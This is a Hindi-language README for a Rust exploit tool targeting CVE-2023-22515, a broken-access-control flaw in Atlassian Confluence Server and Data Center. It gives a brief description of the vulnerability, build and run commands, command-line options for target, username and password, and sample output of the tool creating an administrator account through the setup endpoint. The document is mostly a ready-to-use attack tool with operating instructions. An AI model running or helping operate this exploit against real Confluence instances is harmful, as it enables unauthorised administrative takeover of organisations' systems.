
# CVE-2023-22515 के लिए Rust-आधारित एक्सप्लॉइट जो टूटे हुए एक्सेस कंट्रोल के माध्यम से Confluence Server और Data Center में अनधिकृत व्यवस्थापक खाते बनाता है।
Confluence ऑस्ट्रेलियाई सॉफ्टवेयर कंपनी Atlassian द्वारा विकसित एक वेब-आधारित एंटरप्राइज़ विकी है। Atlassian को कुछ ग्राहकों द्वारा रिपोर्ट की गई एक समस्या के बारे में सूचित किया गया है, जहां बाहरी हमलावरों ने सार्वजनिक रूप से सुलभ Confluence सर्वर और डेटा सेंटर इंस्टेंस में पहले से अज्ञात कमजोरी का फायदा उठाकर अनधिकृत Confluence व्यवस्थापक खाते बनाए और Confluence इंस्टेंस तक पहुंच प्राप्त की हो सकती है।
इस कमजोरी को CVE-2023-22515 के रूप में वर्गीकृत किया गया है
पहले निम्नलिखित कमांड से संकलन करें:
cargo build --release
आप इसे इन दो तरीकों से कर सकते हैं:
cargo run -- --target http://localhost --username "teste" --password "teste"
.\target\release\cve_2023_22515 --target http://localhost --username "teste" --password "teste"
यह टूल के लिए सहायता प्रदर्शित करेगा। यहां वे सभी स्विच हैं जिन्हें यह समर्थन करता है:
CVE-2023-22515
Usage: CVE_2023_22515 --target <TARGET> --username <USERNAME> --password <PASSWORD>
Options:
-t, --target <TARGET> Insert target
-u, --username <USERNAME> Insert username
-p, --password <PASSWORD> Insert password
-h, --help Print help
cargo run -- --target http://example.com --username "teste" --password "teste"
[!] Request for: http://example.com/setup/setupadministrator.action
[!] Creating Administrator account
[!] Checking the answer
[+] Username created successfully: teste
[+] Password created successfully: teste
[+] Exploit ending successfully!!